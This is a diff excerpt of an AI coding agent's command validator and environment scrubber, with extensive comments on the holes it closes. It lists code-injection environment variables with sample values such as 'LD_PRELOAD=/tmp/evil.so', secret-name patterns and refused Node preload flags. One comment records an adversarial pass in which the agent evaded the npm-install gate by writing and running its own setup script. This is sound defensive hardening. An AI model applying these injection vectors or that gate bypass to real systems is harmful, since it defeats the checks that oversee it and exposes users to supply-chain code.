const TSC_VALUE_FLAGS = new Set(['--project', '--target', '--module']);
|
|
1347
|
+
const REFUSED_TSC_FLAGS = new Map([
|
|
1348
|
+
['-w', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
|
|
1349
|
+
['--watch', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
|
|
1350
|
+
]);
|
|
1351
|
+
|
|
1352
|
+
/**
|
|
1353
|
+
* ⚠️ THE ENVIRONMENT SCRUB.
|
|
1354
|
+
*
|
|
1355
|
+
* A command this tool runs is a Node process with network access. If
|
|
1356
|
+
* `OPENROUTER_API_KEY` is in its environment then the loop's own credential is
|
|
1357
|
+
* one `fetch` away from anywhere, and the agent wrote the code doing the
|
|
1358
|
+
* fetching. That is not a hypothetical attack, it is the default arrangement of
|
|
1359
|
+
* a developer's shell.
|
|
1360
|
+
*
|
|
1361
|
+
* ⚠️ THIS IS A DENYLIST AND THAT IS A CONSCIOUS EXCEPTION to the whitelist rule
|
|
1362
|
+
* the rest of this package follows. An allowlist of variable names would break
|
|
1363
|
+
* ordinary test suites constantly — half of them read some `*_URL` or feature
|
|
1364
|
+
* flag — and a safety feature that gets switched off is worth nothing. So the
|
|
1365
|
+
* honest statement of the guarantee: the pattern below catches conventionally
|
|
1366
|
+
* named secrets and always removes this CLI's own key. A variable called
|
|
1367
|
+
* `MY_DB_STRING` would survive. Treat it as one layer, not as the boundary.
|
|
1368
|
+
*/
|
|
1369
|
+
const SECRET_NAME = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|PRIVATE|SESSION|COOKIE|AUTH|_DSN$|CONNECTION_STRING)/i;
|
|
1370
|
+
|
|
1371
|
+
/**
|
|
1372
|
+
* ⭐ EXPORTED SO NOBODY WRITES A SECOND COPY. `mcp-consent.mjs` has to decide
|
|
1373
|
+
* whether an env VALUE is safe to print in an approval prompt, and that is the
|
|
1374
|
+
* same question this regex already answers — one list, one place, one set of
|
|
1375
|
+
* caveats (read the paragraph above: it is a layer, not a boundary).
|
|
1376
|
+
*
|
|
1377
|
+
* @param {string} name an environment variable name
|
|
1378
|
+
* @returns {boolean} true when the VALUE should not be shown or logged
|
|
1379
|
+
*/
|
|
1380
|
+
export function secretlyNamed(name) {
|
|
1381
|
+
return SECRET_NAME.test(String(name ?? ''));
|
|
1382
|
+
}
|
|
1383
|
+
|
|
1384
|
+
/**
|
|
1385
|
+
* ── ⚠️⚠️ THE HOLE THAT WAS OPEN IN THIS FILE THE WHOLE TIME ─────────────────
|
|
1386
|
+
*
|
|
1387
|
+
* `REFUSED_NODE_FLAGS` refuses `--require`, `--import`, `--loader` and
|
|
1388
|
+
* `--env-file` BY NAME, with a paragraph each explaining why preloading a module
|
|
1389
|
+
* the command does not name is unreviewable. And then the child was handed the
|
|
1390
|
+
* parent's `NODE_OPTIONS`, which carries those same flags into every `node`
|
|
1391
|
+
* process ever spawned. The command-line door was bolted and the window next to
|
|
1392
|
+
* it was open — same file, same class, one env var.
|
|
1393
|
+
*
|
|
1394
|
+
* ⚠️ It is not node-specific either. Every runtime has one, and a preset that
|
|
1395
|
+
* adds `python` or `ruby` adds that runtime's version of the same hole:
|
|
1396
|
+
*
|
|
1397
|
+
* RUBYOPT=-revil · PERL5OPT=-Mevil · PYTHONSTARTUP=/tmp/evil.py
|
|
1398
|
+
* LD_PRELOAD=/tmp/evil.so · DYLD_INSERT_LIBRARIES=…
|
|
1399
|
+
*
|
|
1400
|
+
* These are dropped outright: none of them has a common legitimate use in a
|
|
1401
|
+
* one-shot test run, and every one of them is code injection into a process we
|
|
1402
|
+
* are about to trust the output of.
|
|
1403
|
+
*
|
|
1404
|
+
* ⚠️ WHAT IS DELIBERATELY *NOT* DROPPED: the search paths — `PYTHONPATH`,
|
|
1405
|
+
* `RUBYLIB`, `PERL5LIB`, `LD_LIBRARY_PATH`, `PATH` itself. They are weaker (they
|
|
1406
|
+
* change where a *named* import is found, not what runs unasked) and they are
|
|
1407
|
+
* load-bearing in real repositories. Dropping them would be the "check that
|
|
1408
|
+
* fails correct work" failure — a monorepo whose tests need `PYTHONPATH=src`
|
|
1409
|
+
* would start failing for a reason nobody could see. `PATH` in particular is how
|
|
1410
|
+
* a preset binary is found at all.
|
|
1411
|
+
*/
|
|
1412
|
+
const INJECT_ENV_NAMES = new Set([
|
|
1413
|
+
'RUBYOPT', 'PERL5OPT', 'PYTHONSTARTUP', 'PYTHONINSPECT', 'PYTHONBREAKPOINT',
|
|
1414
|
+
'LD_PRELOAD', 'LD_AUDIT', 'DYLD_INSERT_LIBRARIES',
|
|
1415
|
+
'NODE_REPL_EXTERNAL_MODULE', 'BUN_INSPECT_CONNECT_TO',
|
|
1416
|
+
]);
|
|
1417
|
+
|
|
1418
|
+
/**
|
|
1419
|
+
* The `NODE_OPTIONS` tokens that are the command-line refusals wearing a hat.
|
|
1420
|
+
* Kept in step with `REFUSED_NODE_FLAGS` on purpose — a flag refused in one
|
|
1421
|
+
* place and permitted in the other is the drift this whole comment is about.
|
|
1422
|
+
*/
|
|
1423
|
+
const NODE_OPTIONS_REFUSED = new Set([
|
|
1424
|
+
'-r', '--require', '--import', '--loader', '--experimental-loader',
|
|
1425
|
+
'-e', '--eval', '-p', '--print', '--env-file', '--env-file-if-exists',
|
|
1426
|
+
'--inspect', '--inspect-brk', '--inspect-port', '--inspect-publish-uid',
|
|
1427
|
+
'--watch', '--watch-path', '--test-reporter', '--conditions', '-C',
|
|
1428
|
+
'--cpu-prof', '--heap-prof', '--diagnostic-dir', '--report-directory',
|
|
1429
|
+
]);
|
|
1430
|
+
|
|
1431
|
+
/**
|
|
1432
|
+
* ⭐ FILTERED, NOT DELETED — and that distinction is the whole point.
|
|
1433
|
+
*
|
|
1434
|
+
* `NODE_OPTIONS=--max-old-space-size=4096` is ordinary, correct, load-bearing
|
|
1435
|
+
* configuration; a build that needs it OOMs without it. Deleting the variable
|
|
1436
|
+
* to close the injection would break real work to stop a hypothetical, which is
|
|
1437
|
+
* the failure mode this package has been bitten by four separate times. So the
|
|
1438
|
+
* dangerous tokens are removed and the rest is passed through intact.
|
|
1439
|
+
*
|
|
1440
|
+
* ⚠️ AND WHEN IT CANNOT BE PARSED, IT GOES. `NODE_OPTIONS` supports quoting, and
|
|
1441
|
+
* a half-understood quoted string is precisely how a filter gets walked past
|
|
1442
|
+
* (`--require "a b.js"` tokenises to three pieces under a naive split). We do
|
|
1443
|
+
* not write a quote parser to guess: a value containing a quote is dropped
|
|
1444
|
+
* whole, which fails safe and is honest about why.
|
|
1445
|
+
*
|
|
1446
|
+
* Pure.
|
|
1447
|
+
*
|
|
1448
|
+
* @param {string} value
|
|
1449
|
+
* @returns {string | null} the filtered value, or null if nothing may survive
|
|
1450
|
+
*/
|
|
1451
|
+
export function sanitizeNodeOptions(value) {
|
|
1452
|
+
if (typeof value !== 'string') return null;
|
|
1453
|
+
// eslint-disable-next-line no-control-regex
|
|
1454
|
+
if (/["']|[\u0000-\u001f]/.test(value)) return null;
|
|
1455
|
+
const tokens = value.trim().split(/\s+/).filter(Boolean);
|
|
1456
|
+
const kept = [];
|
|
1457
|
+
for (let i = 0; i < tokens.length; i += 1) {
|
|
1458
|
+
const token = tokens[i];
|
|
1459
|
+
const eq = token.indexOf('=');
|
|
1460
|
+
const key = eq === -1 ? token : token.slice(0, eq);
|
|
1461
|
+
if (NODE_OPTIONS_REFUSED.has(key)) {
|
|
1462
|
+
// `--require ./evil.js` is TWO tokens. Dropping only the flag would leave
|
|
1463
|
+
// the path behind as a bare argument, which node reads as a script to run.
|
|
1464
|
+
if (eq === -1 && tokens[i + 1] && !tokens[i + 1].startsWith('-')) i += 1;
|
|
1465
|
+
continue;
|
|
1466
|
+
}
|
|
1467
|
+
kept.push(token);
|
|
1468
|
+
}
|
|
1469
|
+
return kept.length ? kept.join(' ') : null;
|
|
1470
|
+
}
|
|
1471
|
+
|
|
1472
|
+
/**
|
|
1473
|
+
* ⚠️ THE SHAPES ARE DECLARED, not inferred — same reason as `workspace.mjs`.
|
|
1474
|
+
* Left to inference, the return type becomes the three literal keys assigned at
|
|
1475
|
+
* the bottom of this function, and every `scrubbed.PATH` at a call site is a
|
|
1476
|
+
* type error instead of a lookup.
|
|
1477
|
+
*
|
|
1478
|
+
* @param {Record<string, string | undefined>} [env]
|
|
1479
|
+
* @returns {Record<string, string>}
|
|
1480
|
+
*/
|
|
1481
|
+
/**
|
|
1482
|
+
* ── ⚠️⚠️ THE GATED ROAD WAS THE SAFE ONE AND THE UNGATED ROAD WAS NOT ───────
|
|
1483
|
+
*
|
|
1484
|
+
* With `ACUVO_ALLOW_INSTALL` unset, `npm install is-number` is refused with a
|
|
1485
|
+
* paragraph. An adversarial pass then wrote `setup.js` with `write_file` and
|
|
1486
|
+
* ran `node setup.js`, which installed the same package — exit 0, and with
|
|
1487
|
+
* LIFECYCLE SCRIPTS ENABLED, because `--ignore-scripts` is a flag this module
|
|
1488
|
+
* puts on the npm command line and a command line it never sees has no flags on
|
|
1489
|
+
* it. So the road with the gate on it was strictly safer than the road without,
|
|
1490
|
+
* which is the wrong way round.
|
|
1491
|
+
*
|
|
1492
|
+
* ⚠️ THE HOLE ITSELF DOES NOT CLOSE, AND SAYING OTHERWISE WOULD BE THE LIE.
|
|
1493
|
+
* `node <a file the model wrote>` is a risk this package carries in the open
|
|
1494
|
+
* and has always carried: `validateInstallSpec`'s own paragraph names it. What
|
|
1495
|
+
* CAN close is the ESCALATION — the step from "code the model wrote runs" to
|
|
1496
|
+
* "a stranger's `postinstall` runs", which is the actual npm supply-chain
|
|
1497
|
+
* vector and the one the Shai-Hulud worm used.
|
|
1498
|
+
*
|
|
1499
|
+
* ⭐ MEASURED, NOT ASSUMED (2026-08-15, this npm):
|
|
1500
|
+
* · `npm_config_ignore_scripts=true` in the ENVIRONMENT suppresses a
|
|
1501
|
+
* dependency's `postinstall` — verified against a control run where the
|
|
1502
|
+
* same probe file WAS written, so the probe can genuinely detect it.
|
|
1503
|
+
* · It reaches npm however npm was started, including from inside a script,
|
|
1504
|
+
* which a command-line flag cannot.
|
|
1505
|
+
*
|
|
1506
|
+
* ⚠️⚠️ AND IT IS DELIBERATELY NOT APPLIED TO npm ITSELF, because the same
|
|
1507
|
+
* measurement showed the cost: with it set, `npm run build` still runs `build`
|
|
1508
|
+
* but SILENTLY SKIPS `prebuild`. This package explicitly resolves and validates
|
|
1509
|
+
* `[pre<name>, <name>, post<name>]` in `validateNpmScriptChain` — pre/post
|
|
1510
|
+
* hooks are behaviour it supports on purpose, and breaking them with no message
|
|
1511
|
+
* would be a guard that fails correct work, which is worse than no guard.
|
|
1512
|
+
*
|
|
1513
|
+
* ⚠️ THE ONE COST THAT REMAINS, STATED RATHER THAN HIDDEN: a NON-npm child that
|
|
1514
|
+
* shells out to `npm run build` loses that build's `prebuild` hook. It is the
|
|
1515
|
+
* narrow case, it is inside the accepted-risk zone already, and it buys the
|
|
1516
|
+
* removal of the escalation above.
|
|
1517
|
+
*
|
|
1518
|
+
* ⭐ DERIVED FROM THE ARGV IT IS ABOUT TO SPAWN, not from a caller's boolean —
|
|
1519
|
+
* the precedent `buildInvocation` sets two hundred lines down, and it matters
|
|
1520
|
+
* here because npm is spawned as `node …/npm-cli.js`, so the FILE is `node`.
|
|
1521
|
+
*
|
|
1522
|
+
* @param {{file?: string, args?: string[]}} invocation what is about to be spawned
|
|
1523
|
+
* @param {Record<string, string|undefined>} [env]
|
|
1524
|
+
*/
|
|
1525
|
+
export function childEnvironment({ file = '', args = [] } = {}, env = process.env) {
|
|
1526
|
+
const out = scrubEnvironment(env);
|
|
1527
|
+
if (!spawnsNpmItself(file, args)) out.npm_config_ignore_scripts = 'true';
|
|
1528
|
+
return out;
|
|
1529
|
+
}
|
|
1530
|
+
|
|
1531
|
+
/** Is npm/npx the program here — directly, or as the `.js` file node is handed? */
|
|
1532
|
+
function spawnsNpmItself(file, args) {
|
|
1533
|
+
const words = [String(file ?? ''), ...(Array.isArray(args) ? args.map(String) : [])];
|
|
1534
|
+
return words.some((w) => /(^|[\\/])(npm|npx)(\.cmd|\.exe)?$/i.test(w) || /(^|[\\/])(npm|npx)-cli\.js$/i.test(w));
|
|
1535
|
+
}
|
|
1536
|
+
|
|
1537
|
+
export function scrubEnvironment(env = process.env) {
|
|
1538
|
+
/** @type {Record<string, string>} */
|
|
1539
|
+
const out = {};
|
|
1540
|
+
for (const [name, value] of Object.entries(env)) {
|
|
1541
|
+
if (value === undefined) continue;
|
|
1542
|
+
if (SECRET_NAME.test(name)) continue;
|
|
1543
|
+
// ⚠️ The preload/injection variables — see INJECT_ENV_NAMES. A flag refused
|
|
1544
|
+
// on the command line and permitted through the environment is not refused.
|
|
1545
|
+
if (INJECT_ENV_NAMES.has(name)) continue;
|
|
1546
|
+
if (name === 'NODE_OPTIONS') {
|
|
1547
|
+
const filtered = sanitizeNodeOptions(value);
|
|
1548
|
+
if (filtered !== null) out[name] = filtered;
|
|
1549
|
+
continue;
|
|
1550
|
+
}
|
|
1551
|
+
out[name] = value;
|
|
1552
|
+
}
|
|
1553
|
+
// Belt and braces: these two are the ones that must never survive, whatever
|
|
1554
|
+
// the pattern does or does not match after a future edit.
|
|
1555
|
+
delete out.OPENROUTER_API_KEY;
|
|
1556
|
+
delete out.OPENROUTER_CODEGEN_MODEL;
|
|
1557
|
+
/**
|
|
1558
|
+
* ── ⚠️⚠️ `NODE_TEST_CONTEXT` — A SILENT GREEN, MEASURED SIDE BY SIDE ────────
|
|
1559
|
+
*
|
|
1560
|
+
* `node --test` sets this in every child it starts. A nested `node --test`
|
|
1561
|
+
* that inherits it believes it is a TEST WORKER: it stops printing TAP and
|
|
1562
|
+
* starts writing a serialised v8 stream to a parent that is not listening.
|
|
1563
|
+
* The run then reports **exit 0 with zero bytes of output** — a suite that
|
|
1564
|
+
* failed, reported as a pass, with nothing on screen to give it away.
|
|
1565
|
+
*
|
|
1566
|
+
* MEASURED 2026-08-11, both spawners against the identical failing test file,
|
|
1567
|
+
* from inside a `node --test` process (`NODE_TEST_CONTEXT="child-v8"`):
|
|
1568
|
+
*
|
|
1569
|
+
* run_command → exitCode 0 · 0 bytes of stdout ← the lie
|
|
1570
|
+
* run_program → exitCode 1 · 951 bytes of stdout ← the truth
|
|
1571
|
+
*
|
|
1572
|
+
* `spawn-argv.mjs` found this first and deleted it locally, saying so
|
|
1573
|
+
* explicitly: *"Deleted here rather than in `scrubEnvironment` because that
|
|
1574
|
+
* function is shared with `run_command` and this module must not change its
|
|
1575
|
+
* behaviour."* That was the correct call for a lane that owned one file. At
|
|
1576
|
+
* integration it is the wrong place for the fix — two spawners that disagree
|
|
1577
|
+
* about whether a suite passed is worse than either of them being wrong, and
|
|
1578
|
+
* the disagreement is invisible until someone runs both.
|
|
1579
|
+
*
|
|
1580
|
+
* ⚠️ SAFE FOR EVERY CALLER. `git.mjs` and `evaluate.mjs` share this function
|
|
1581
|
+
* and neither wants a child that believes it is a test worker. And for the
|
|
1582
|
+
* ordinary user nothing changes at all: `bin/acuvo.mjs` is not run under
|
|
1583
|
+
* `node --test`, so the variable is not set and the delete is a no-op. What it
|
|
1584
|
+
* fixes is the case where it IS set — a CI harness, an agent running the CLI
|
|
1585
|
+
* from inside a test, and this package's own suite.
|
|
1586
|
+
*/
|
|
1587
|
+
delete out.NODE_TEST_CONTEXT;
|
|
1588
|
+
// ⚠️ CI=1 is not cosmetic — it is what makes vitest, jest and half the npm
|
|
1589
|
+
// ecosystem run once and exit instead of watching, which is the difference
|
|
1590
|
+
// between a result and a timeout.
|
|
1591
|
+
out.CI = '1';
|
|
1592
|
+
// ANSI escape sequences in a tool result are control characters the model
|
|
1593
|
+
// pays for and cannot use.
|
|
1594
|
+
out.NO_COLOR = '1';
|
|
1595
|
+
out.FORCE_COLOR = '0';
|
|
1596
|
+
return out;
|
|
1597
|
+
}
|
|
1598
|
+
|
|
1599
|
+
/**
|
|
1600
|
+
* Split a command string into tokens, refusing anything a shell could act on.
|
|
1601
|
+
*
|
|
1602
|
+
* Pure. Tokenising on whitespace is only safe BECAUSE quotes are already
|
|
1603
|
+
* refused — there are no quoting semantics left to get wrong, which is the
|
|
1604
|
+
* second reason the character whitelist comes first.
|
|
1605
|
+
*
|
|
1606
|
+
* @typedef {{ ok: false, error: string }} CommandRefused
|
|
1607
|
+
* @param {unknown} raw
|
|
1608
|
+
* @returns {{ ok: true, command: string, tokens: string[] } | CommandRefused}
|
|
1609
|
+
*/
|
|
1610
|
+
export function tokenizeCommand(raw) {
|
|
1611
|
+
if (typeof raw !== 'string') return { ok: false, error: 'command must be a string' };
|
|
1612
|
+
const command = raw.trim();
|
|
1613
|
+
if (!command) return { ok: false, error: 'empty command' };
|
|
1614
|
+
if (command.length > MAX_COMMAND_LENGTH) {
|
|
1615
|
+
return { ok: false, error: `command is ${command.length} characters, over the ${MAX_COMMAND_LENGTH} limit` };
|
|
1616
|
+
}
|
|
1617
|
+
// Checked before anything else: a newline is not a character in a command,
|
|
1618
|
+
// it is a second command.
|
|
1619
|
+
// eslint-disable-next-line no-control-regex
|
|
1620
|
+
if (/[\u0000-\u001f\u007f]/.test(command)) {
|
|
1621
|
+
return { ok: false, error: 'command contains a control character (a newline would be a second command)' };
|
|
1622
|
+
}
|
|
1623
|
+
if (!SAFE_COMMAND_CHARS.test(command)) {
|
|
1624
|
+
const bad = command.match(UNSAFE_CHAR)?.[0] ?? '?';
|
|
1625
|
+
/**
|
|
1626
|
+
* ── ⭐⭐ A REFUSAL MUST NAME THE WAY THROUGH, OR IT READS AS A CEILING ────
|
|
1627
|
+
*
|
|
1628
|
+
* This message explained the MODEL OF THE WORLD — no shell, one plain
|
|
1629
|
+
* command — and stopped there. So the agent believed the capability was
|
|
1630
|
+
* absent and gave up, while `run_program` and `evaluate` sat right beside it
|
|
1631
|
+
* doing exactly the job.
|
|
1632
|
+
*
|
|
1633
|
+
* ⚠️ MEASURED 2026-08-14, and it cost a whole task. A dogfood run asked for
|
|
1634
|
+
* `node -e "…"` — the commonest zero-dependency check there is — hit this
|
|
1635
|
+
* wall, and the run ended having done nothing. The reviewing agent nearly
|
|
1636
|
+
* filed it as a MISSING CAPABILITY, which would have been wrong: the
|
|
1637
|
+
* capability ships, takes the same allowlist, and is one tool call away.
|
|
1638
|
+
*
|
|
1639
|
+
* ⭐ THE RULE: when a refusal exists because a SAFER PATH exists, the
|
|
1640
|
+
* refusal must name that path. Anything else teaches the reader the tool
|
|
1641
|
+
* cannot do it — and an agent that believes a thing is impossible stops
|
|
1642
|
+
* trying, which is the most expensive way to be wrong.
|
|
1643
|
+
*
|
|
1644
|
+
* ⚠️ The two are not interchangeable, so the wording distinguishes them
|
|
1645
|
+
* rather than offering a vague "try something else": `run_program` takes a
|
|
1646
|
+
* real argument ARRAY (no shell, so quotes and spaces are just characters),
|
|
1647
|
+
* and `evaluate` is the one for JavaScript, which is what `node -e` was
|
|
1648
|
+
* reaching for in the first place.
|
|
1649
|
+
*/
|
|
1650
|
+
return {
|
|
1651
|
+
ok: false,
|
|
1652
|
+
error: `"${bad}" is not allowed in a command. There is no shell here: pipes, &&, ;, redirection, quotes, backticks and $() are refused, so run one plain command per call.`
|
|
1653
|
+
+ ` For an argument containing quotes or spaces, use run_program — it takes a real argument array, so nothing needs quoting.`
|
|
1654
|
+
+ ` To run JavaScript (what \`node -e\` is for), use evaluate.`,
|
|
1655
|
+
};
|
|
1656
|
+
}
|
|
1657
|
+
const tokens = command.split(/ +/).filter(Boolean);
|
|
1658
|
+
if (tokens.length > MAX_COMMAND_TOKENS) {
|
|
1659
|
+
return { ok: false, error: `command has ${tokens.length} arguments, over the ${MAX_COMMAND_TOKENS} limit` };
|
|
1660
|
+
}
|
|
1661
|
+
return { ok: true, command, tokens };
|
|
1662
|
+
}
|
|
1663
|
+
|
|
1664
|
+
/** A non-flag token must be a legal workspace path — the same rule, and the
|
|
1665
|
+
* same function, the file tools use. `..`, absolute paths, drive letters, UNC
|
|
1666
|
+
* and spaces are therefore already dead. */
|
|
1667
|
+
function checkOperand(token, binary, { packagePatterns = false } = {}) {
|
|
1668
|
+
/**
|
|
1669
|
+
* ── ⚠️⭐ A GLOB IS CHECKED FOR CONTAINMENT, NOT FOR BEING A FILENAME ────────
|
|
1670
|
+
*
|
|
1671
|
+
* `normalizeRelativePath` is the WRITE boundary — it decides where bytes may
|
|
1672
|
+
* land, and there `*` is meaningless and rightly refused. But a command
|
|
1673
|
+
* ARGUMENT is not a destination, and `node --test test/*.test.mjs` is both the
|
|
1674
|
+
* commonest test invocation in Node and this package's own test script. Sending
|
|
1675
|
+
* it through the write validator meant Acuvo Code could not run Acuvo Code's
|
|
1676
|
+
* test suite.
|
|
1677
|
+
*
|
|
1678
|
+
* ⭐ So the wildcard segments are replaced with a placeholder and the SHAPE is
|
|
1679
|
+
* validated: `..`, absolute paths, drive letters and URLs stay refused exactly
|
|
1680
|
+
* as before, because those are the properties that let an argument escape. What
|
|
1681
|
+
* is no longer required is that the string name a single existing file.
|
|
1682
|
+
*
|
|
1683
|
+
* ⚠️ THE WRITE BOUNDARY IS UNTOUCHED. Nothing here loosens where a file may be
|
|
1684
|
+
* written; `resolveInWorkspace` still refuses `*` outright, and the traversal
|
|
1685
|
+
* tests that pin it still pass. Expansion is done by node itself, verified
|
|
1686
|
+
* live: spawned with `shell: false`, the literal glob reached node and it
|
|
1687
|
+
* expanded it — 316 tests, exit 0.
|
|
1688
|
+
*/
|
|
1689
|
+
const hasGlob = /[*?]/.test(token);
|
|
1690
|
+
let probe = hasGlob ? token.replace(/[*?]+/g, 'g') : token;
|
|
1691
|
+
|
|
1692
|
+
/**
|
|
1693
|
+
* ── ⚠️⭐ `go test ./...` — A PACKAGE PATTERN IS NOT A PATH, EITHER ──────────
|
|
1694
|
+
*
|
|
1695
|
+
* Exactly the same lesson the glob above taught, in a second ecosystem. `...`
|
|
1696
|
+
* is Go's "and everything under here" wildcard, and `./...` is *the* canonical
|
|
1697
|
+
* way to test a Go module — it appears in nearly every Go CI file on earth.
|
|
1698
|
+
* `normalizeRelativePath` refuses it, correctly and for a Windows reason: a
|
|
1699
|
+
* segment of nothing but dots is a directory Windows will create and then not
|
|
1700
|
+
* let you delete. That rule is right for a WRITE destination and wrong for a
|
|
1701
|
+
* command argument, which never names a destination.
|
|
1702
|
+
*
|
|
1703
|
+
* ⚠️ ONLY THE EXACT SEGMENT `...` IS SUBSTITUTED, so `..` is untouched and
|
|
1704
|
+
* `go test ../.../x` is still refused with the ".." reason. The containment
|
|
1705
|
+
* property is unchanged; what is relaxed is the requirement that the string
|
|
1706
|
+
* name a directory that could exist.
|
|
1707
|
+
*/
|
|
1708
|
+
if (packagePatterns && probe.includes('...')) {
|
|
1709
|
+
probe = probe.split(/[\\/]/).map((seg) => (seg === '...' ? 'g' : seg)).join('/');
|
|
1710
|
+
}
|
|
1711
|
+
|
|
1712
|
+
const norm = normalizeRelativePath(probe);
|
|
1713
|
+
if (!norm.ok) return { ok: false, error: `"${token}" is not usable as an argument to ${binary}: ${norm.reason}` };
|
|
1714
|
+
/**
|
|
1715
|
+
* ⚠️ A glob is NOT resolved to a real path — it does not name one yet. Return
|
|
1716
|
+
* the token as written so the child receives exactly what the user typed;
|
|
1717
|
+
* substituting the probe would run the tests in a directory called "g".
|
|
1718
|
+
*/
|
|
1719
|
+
if (hasGlob) return { ok: true, token, glob: true };
|
|
1720
|
+
return { ok: true };
|
|
1721
|
+
}
|
|
1722
|
+
|
|
1723
|
+
function checkFlag(token, { flags, valueFlags, separateValueFlags, refused, binary, custom }) {
|
|
1724
|
+
const eq = token.indexOf('=');
|
|
1725
|
+
const key = eq === -1 ? token : token.slice(0, eq);
|
|
1726
|
+
const reason = refused?.get(key);
|
|
1727
|
+
if (reason) return { ok: false, error: `${key} is refused: ${reason}` };
|
|
1728
|
+
/**
|
|
1729
|
+
* ⚠️ A CUSTOM BINARY'S GRAMMAR IS THE ADMIN'S, SO SAY SO. "not an allowed
|
|
1730
|
+
* flag" reads as our decision; for a binary someone added themselves the
|
|
1731
|
+
* decision was theirs, and the fix is one edit away from where they made it.
|
|
1732
|
+
*/
|
|
1733
|
+
const notAllowed = (what) => (custom
|
|
1734
|
+
? { ok: false, error: `${what} was not declared for "${binary}". A binary added through ${ALLOW_COMMANDS_ENV} gets only the flags declared with it — we cannot know a stranger program's argument semantics, so we do not guess. Declare it: ${ALLOW_COMMANDS_ENV}="${binary}:${key}".` }
|
|
1735
|
+
: { ok: false, error: `${what} is not an allowed ${binary} flag (allowed: ${[...(flags ?? [])].join(' ')})` });
|
|
1736
|
+
|
|
1737
|
+
if (eq === -1) {
|
|
1738
|
+
if (flags?.has(key)) return { ok: true };
|
|
1739
|
+
if (separateValueFlags?.has(key)) return { ok: true, wantsValue: key };
|
|
1740
|
+
return notAllowed(key);
|
|
1741
|
+
}
|
|
1742
|
+
if (!valueFlags?.has(key)) return notAllowed(`${key}=…`);
|
|
1743
|
+
const value = token.slice(eq + 1);
|
|
1744
|
+
if (!value) return { ok: false, error: `${key}= was given no value` };
|
|
1745
|
+
return { ok: true };
|
|
1746
|
+
}
|
|
1747
|
+
|
|
1748
|
+
/**
|
|
1749
|
+
* ⚠️ WHY A SEPARATE-VALUE FLAG NEEDS ITS OWN STATE RATHER THAN FALLING THROUGH
|
|
1750
|
+
* TO THE OPERAND CHECK — and this is a real hole that the naive version had.
|
|
1751
|
+
*
|
|
1752
|
+
* `python -m pytest` is normal. `python -m pip install requests` is a registry
|
|
1753
|
+
* fetch wearing the same clothes, and if `-m`'s value is validated as an
|
|
1754
|
+
* ordinary operand then `pip`, `install` and `requests` are all perfectly legal
|
|
1755
|
+
* relative paths and the whole thing passes. So the VALUE is checked against
|
|
1756
|
+
* what that specific flag may take, and the value is consumed rather than
|
|
1757
|
+
* re-examined as a path.
|
|
1758
|
+
*/
|
|
1759
|
+
function checkFlagValue(rule, value, key, binary) {
|
|
1760
|
+
if (rule instanceof RegExp) {
|
|
1761
|
+
if (!rule.test(value)) return { ok: false, error: `"${value}" is not a value ${binary} ${key} accepts` };
|
|
1762
|
+
return { ok: true };
|
|
1763
|
+
}
|
|
1764
|
+
if (!rule.has(value)) {
|
|
1765
|
+
return { ok: false, error: `${binary} ${key} ${value} is refused — only ${[...rule].join(', ')} may follow ${key}. Anything that installs from a package registry fetches and runs a stranger's code, which no allowlist of program names can check.` };
|
|
1766
|
+
}
|
|
1767
|
+
return { ok: true };
|
|
1768
|
+
}
|
|
1769
|
+
|
|
1770
|
+
function validateOperands(tokens, from, spec) {
|
|
1771
|
+
for (let i = from; i < tokens.length; i += 1) {
|
|
1772
|
+
const token = tokens[i];
|
|
1773
|
+
if (!token.startsWith('-')) {
|
|
1774
|
+
const check = checkOperand(token, spec.binary, { packagePatterns: spec.packagePatterns });
|
|
1775
|
+
if (!check.ok) return check;
|
|
1776
|
+
continue;
|
|
1777
|
+
}
|
|
1778
|
+
const check = checkFlag(token, spec);
|
|
1779
|
+
if (!check.ok) return check;
|
|
1780
|
+
if (check.wantsValue) {
|
|
1781
|
+
const value = tokens[i + 1];
|
|
1782
|
+
if (value === undefined) return { ok: false, error: `${check.wantsValue} was given no value` };
|
|
1783
|
+
const rule = spec.separateValueFlags.get(check.wantsValue);
|
|
1784
|
+
const verdict = checkFlagValue(rule, value, check.wantsValue, spec.binary);
|
|
1785
|
+
if (!verdict.ok) return verdict;
|
|
1786
|
+
i += 1;
|
|
1787
|
+
}
|
|
1788
|
+
}
|
|
1789
|
+
return { ok: true };
|
|
1790
|
+
}
|
|
1791
|
+
|
|
1792
|
+
function validateNode(command, tokens) {
|
|
1793
|
+
const spec = { flags: NODE_FLAGS, valueFlags: NODE_VALUE_FLAGS, refused: REFUSED_NODE_FLAGS, binary: 'node' };
|
|
1794
|
+
const check = validateOperands(tokens, 1, spec);
|
|
1795
|
+
if (!check.ok) return check;
|
|
1796
|
+
return { ok: true, command, tokens, binary: 'node' };
|
|
1797
|
+
}
|
|
1798
|
+
|
|
1799
|
+
function validateVitest(command, tokens, from, binary) {
|
|
1800
|
+
/**
|
|
1801
|
+
* ⚠️ `vitest` WITHOUT `run` IS A WATCHER. It never exits, so it would burn
|
|
1802
|
+
* the entire timeout and hand the model back nothing but "timed out" — a
|
|
1803
|
+
* round spent, money spent, nothing learned. Requiring the word is one
|
|
1804
|
+
* refusal the model can act on immediately, and the message says how.
|
|
1805
|
+
*/
|
|
1806
|
+
if (tokens[from] !== 'run') {
|
|
1807
|
+
return { ok: false, error: 'vitest must be run as "vitest run …" — without `run` it starts a watcher that never exits' };
|
|
1808
|
+
}
|
|
1809
|
+
const spec = { flags: VITEST_FLAGS, valueFlags: VITEST_VALUE_FLAGS, refused: null, binary: 'vitest' };
|
|
1810
|
+
const check = validateOperands(tokens, from + 1, spec);
|
|
1811
|
+
if (!check.ok) return check;
|
|
1812
|
+
return { ok: true, command, tokens, binary };
|
|
1813
|
+
}
|
|
1814
|
+
|
|
1815
|
+
function validateTsc(command, tokens, from, binary) {
|
|
1816
|
+
const spec = { flags: TSC_FLAGS, valueFlags: TSC_VALUE_FLAGS, refused: REFUSED_TSC_FLAGS, binary: 'tsc' };
|
|
1817
|
+
const check = validateOperands(tokens, from, spec);
|
|
1818
|
+
if (!check.ok) return check;
|
|
1819
|
+
return { ok: true, command, tokens, binary };
|
|
1820
|
+
}
|
|
1821
|
+
|
|
1822
|
+
function validateNpm(command, tokens, { allowInstall = false } = {}) {
|
|
1823
|
+
const sub = tokens[1];
|
|
1824
|
+
if (NPM_INSTALL_SUBCOMMANDS.has(sub)) {
|
|
1825
|
+
/**
|
|
1826
|
+
